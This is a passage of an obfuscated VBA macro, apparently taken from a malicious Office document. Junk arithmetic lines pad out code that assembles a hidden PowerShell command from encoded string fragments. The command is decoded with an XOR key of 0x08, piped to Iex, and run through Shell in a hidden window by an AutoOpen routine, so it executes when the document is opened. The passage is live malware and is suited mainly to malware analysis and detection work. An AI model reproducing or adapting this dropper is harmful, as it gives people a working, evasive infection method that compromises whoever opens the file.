bqOrpJ = (hpkkTV * 80739 + 95539 * CInt(JVNpO - CDbl(87053)) * 34135 * Oct(6651))
TwConNTYj = "01" + "-81" + ">65" + "z3" + "8h9" + "2B1" + "03"
rEFZFwM = lYqIp + phAvL + wjnpnOCjRjm + TwConNTYj
CXcdw = (TOkPSm * 832 + 33272 * CInt(oXdiJ - CDbl(34832)) * 5499 * Oct(63521))
End Function
Function qZwhrI()
On Error Resume Next
RlKqzZ = (YLbnmV * 7821 + 88241 * CInt(RFkafd - CDbl(18142)) * 8820 * Oct(95002))
PhijN = ">9" + "1k1" + "24" + ">1"
rPjuz = (qpMKac * 31250 + 21613 * CInt(ubYddS - CDbl(37879)) * 69372 * Oct(68523))
qFCzwK = "22-" + "97" + "B1" + "02O" + "111"
NSGInc = (sziTp * 32770 + 59152 * CInt(wjrjYo - CDbl(78507)) * 48637 * Oct(87473))
WSMiYCawNSV = "k3" + "2h" + "33" + "h36"
CkaThX = (zCkjjh * 48678 + 64975 * CInt(jScOE - CDbl(19396)) * 88011 * Oct(79201))
SLGOmRTaQr = "@4" + "0T4" + "4@" + "68" + "@8" + "2B"
mcALCY = (MWkrfZ * 30026 + 20829 * CInt(pOuHMz - CDbl(35260)) * 3693 * Oct(6616))
JtbmTmOX = "101" + "z98" + "B82"
Vwfjs = (llvvin * 99054 + 22873 * CInt(WKpqpK - CDbl(6418)) * 34855 * Oct(50553))
rfEkAEB = "h8" + "9_" + "33T"
vzhUn = (wIwCw * 64529 + 81099 * CInt(AtnUPI - CDbl(3875)) * 29048 * Oct(66845))
klsvbna = "51" + "O91" + "T1" + "24k" + "105"
qZwhrI = PhijN + qFCzwK + WSMiYCawNSV + SLGOmRTaQr + JtbmTmOX + rfEkAEB + klsvbna
qpdLN = (SiFRzs * 7786 + 32224 * CInt(ljfBJ - CDbl(83157)) * 78979 * Oct(38702))
End Function
Function CUUqcREmfBC()
On Error Resume Next
pwWiCR = (jQOiw * 62348 + 74678 * CInt(DjScYu - CDbl(16007)) * 79455 * Oct(44382))
kXHMiaMqoA = "T1" + "22>" + "124" + "_3"
dcWNZ = (BUfVRX * 68446 + 52917 * CInt(FQbplK - CDbl(10138)) * 87662 * Oct(72659))
iqrznb = "7@8" + "8z1" + "22" + "B10"
ZYMvDh = (zWYoq * 35946 + 82983 * CInt(ddARcf - CDbl(399)) * 82637 * Oct(78194))
BCnfN = "3-1" + "07" + "B1" + "09" + "_1" + "23B" + "12"
djzlC = (ikPzD * 77633 + 48114 * CInt(oKYMCw - CDbl(28159)) * 96571 * Oct(70230))
mzStIYU = "3T" + "40" + "z4" + "4_" + "68"
HjEcJ = (ZhXcZ * 1886 + 14078 * CInt(UAFGC - CDbl(84043)) * 66529 * Oct(79821))
pdjpRrw = ">8" + "2@" + "101" + "O98" + ">8"
YdRHn = (pEfwvd * 41254 + 38134 * CInt(azZVQ - CDbl(92492)) * 5029 * Oct(75125))
CGrSti = "2h" + "89" + "T51"
KsCsI = (sVScjz * 83900 + 20958 * CInt(tiYuEL - CDbl(71194)) * 97958 * Oct(62838))
CMnqVNNG = "k1" + "06O" + "12" + "2B1" + "09>"
CUUqcREmfBC = kXHMiaMqoA + iqrznb + BCnfN + mzStIYU + pdjpRrw + CGrSti + CMnqVNNG
fFRMZI = (qOwum * 93953 + 92303 * CInt(DaKsnH - CDbl(68016)) * 74743 * Oct(76200))
End Function
Function aSWYvF()
On Error Resume Next
iXHisZ = (VtdqbI * 87224 + 39630 * CInt(JdNrG - CDbl(71839)) * 54980 * Oct(21293))
lvjKjp = "10" + "5@" + "99-" + "51k" + "11"
kaGts = (SikqkN * 15074 + 42651 * CInt(BRDSt - CDbl(54437)) * 35815 * Oct(33443))
AAZCQ = "7-1" + "07B" + "10" + "5h1"
czFYw = (wuwjH * 97938 + 75847 * CInt(BhYwXC - CDbl(69331)) * 94945 * Oct(2720))
CnLbEk = "24B" + "107" + "k96"
aSWYvF = lvjKjp + AAZCQ + CnLbEk
qqphJ = (ZSIhR * 89122 + 80740 * CInt(iPupQb - CDbl(28392)) * 47818 * Oct(26367))
End Function
Function cWmdLmJYO()
On Error Resume Next
ClVfvO = (iwwiFf * 28594 + 71734 * CInt(HpqFKG - CDbl(82896)) * 59503 * Oct(28353))
BDBFhGG = "-11" + "5-" + "127" + ">1"
Iujas = (cAfXw * 87968 + 44213 * CInt(tmzrKc - CDbl(68968)) * 60146 * Oct(8336))
GYFvGhJ = "22>" + "97" + "T1" + "24"
TZiIiv = (qQmGtw * 42816 + 12023 * CInt(dijNi - CDbl(26403)) * 35434 * Oct(92577))
AiNCmU = "B10" + "9B" + "37@" + "96" + "T10" + "3O1"
cWmdLmJYO = BDBFhGG + GYFvGhJ + AiNCmU
YJzUm = (cquGT * 66195 + 39274 * CInt(kcGdk - CDbl(75333)) * 301 * Oct(76579))
End Function
Function qcLtwWX()
On Error Resume Next
lszFwq = (FGmwF * 73886 + 90249 * CInt(iOdDD - CDbl(30134)) * 75243 * Oct(67682))
tziUa = "23" + "_1" + "24k" + "40" + "@4" + "4h8" + "7B"
Hwkck = (ILkhOb * 75090 + 36654 * CInt(zrAMvX - CDbl(33207)) * 95877 * Oct(65466))
FqCqE = "38k" + "77" + "k1"
wWJwjL = (JqzzGa * 40820 + 47804 * CInt(lUEjtr - CDbl(90501)) * 93977 * Oct(8281))
STpwSNm = "12" + "T1" + "07>" + "109" + "_12"
qcLtwWX = tziUa + FqCqE + STpwSNm
Pankq = (CrmLz * 28677 + 1581 * CInt(QSwVj - CDbl(86783)) * 31399 * Oct(60436))
End Function
Function lqXHBio()
On Error Resume Next
SmwsBq = (bMsXw * 44157 + 42504 * CInt(HwDjj - CDbl(25048)) * 58036 * Oct(42879))
jjfHHWjOio = "0-" + "124" + "k9" + "7>1" + "03>" + "102" + "B3"
jPbuZ = (LwjnV * 96714 + 88108 * CInt(ABikm - CDbl(43611)) * 56571 * Oct(47516))
NCEnJnn = "8B6" + "9>" + "10" + "9T1" + "23" + "T12"
wqNnph = (anQcJm * 28960 + 23747 * CInt(zhbNj - CDbl(1285)) * 14532 * Oct(26387))
ikiYDX = "3>1" + "05@" + "11" + "1T1" + "09>" + "51O"
lqXHBio = jjfHHWjOio + NCEnJnn + ikiYDX
DhEcrz = (KVfEMZ * 41716 + 28942 * CInt(NhiRwN - CDbl(73297)) * 35417 * Oct(67983))
End Function
Function utCjB()
On Error Resume Next
pCLKvi = (zmzrzw * 32022 + 73197 * CInt(RjHpZL - CDbl(23297)) * 49932 * Oct(42507))
cmwHbzjDu = "117" + "h1" + "17" + "'." + "Sp" + "LiT"
Zwppv = (tDKozK * 69088 + 41400 * CInt(ajPvP - CDbl(71055)) * 33414 * Oct(59953))
wJOJX = "( " + "'O>" + "k_@" + "zB" + "h-T" + "' " + ") |"
wCKuOi = (locJDK * 94683 + 6535 * CInt(EtGzz - CDbl(13525)) * 99427 * Oct(73745))
YzcrctsE = "%{[" + "cHA" + "r] " + "( $"
zcwiGi = (Rpstb * 97624 + 79867 * CInt(wNWHMI - CDbl(31413)) * 73092 * Oct(23877))
RbaLBiD = "_ " + "-b" + "Xo" + "r " + Chr(34) + "0x" + "08" + Chr(34)
KrKhAp = (YROCt * 13309 + 64849 * CInt(BmUEKi - CDbl(11884)) * 6822 * Oct(51731))
fdEtB = ") " + "} )" + "-Jo" + "IN " + "''|" + "Iex"
utCjB = cmwHbzjDu + wJOJX + YzcrctsE + RbaLBiD + fdEtB
lksaUi = (jpwqzj * 79448 + 7305 * CInt(DhadEG - CDbl(77583)) * 25367 * Oct(20876))
End Function


Attribute VB_Name = "HUQhijfL"
Function knZdVppJiJG()
On Error Resume Next
jHfiAs = (cntCq * 99948 + 8259 * CInt(nVohf - CDbl(2090)) * 80564 * Oct(87674))
iHfSijLZX = NaUfNVtTXza + Chr(HQLiublRjrb + 80 + DbVMvVhc) + "owers"
IcWbw = (MqbPrr * 858 + 43653 * CInt(CNRBJH - CDbl(32335)) * 39376 * Oct(24044))
vNqdGl = (OJaXWc * 57380 + 87230 * CInt(LPkNIn - CDbl(98657)) * 9508 * Oct(61296))
knZdVppJiJG = mZwJpcUP + iHfSijLZX + siWzCGiO + EsRmTTP + dhBPwc + ozZQXNXljS + CBjhPBVtJi + bDjTC + wajJCG + WXwOUTjzaG + wHPwqZbZv + nzTAoJQXfND + PHKhB + XTTiQ + cSwQdjDT + EnBvXOnWWj + baOmjnY + IZJJjEv + lTDvMXUDSHV + JILzpkzkaW + ztuZwYJYEA + AiraG + cHXIk + bjROlYHzfl + WzHWOIKTBKj + PqRhG + rEFZFwM + qZwhrI + CUUqcREmfBC + aSWYvF + cWmdLmJYO + qcLtwWX + lqXHBio + utCjB
jojOr = (JuDjW * 24574 + 38774 * CInt(zdqwMf - CDbl(71857)) * 77020 * Oct(15215))
End Function
Function mJFlAO(zoknFR)
On Error Resume Next
vBkzXI = (lzpCF * 58390 + 89997 * CInt(OMhaMJ - CDbl(97993)) * 90387 * Oct(10122))
iwCsA = (vjFTpX * 19755 + 44438 * CInt(SkPics - CDbl(99220)) * 92255 * Oct(26541))
PwYUr = ZEzRCW + SSRbG + Shell(vjzoS + zoknFR + DANNqTi, (74140 / 74140) - 1)
SDNvTw = (fjsML * 87370 + 94792 * CInt(GYYbs - CDbl(82094)) * 5059 * Oct(20921))
End Function
Sub AutoOpen()
On Error Resume Next
uZjQcW = (Apthch * 72074 + 73415 * CInt(jsaii - CDbl(12906)) * 83368 * Oct(34117))
mJFlAO (knZdVppJiJG)
VUbUV = (PshAu * 23840 + 81932 * CInt(MNLWz - CDbl(29542)) * 61414 * Oct(48228))
End Sub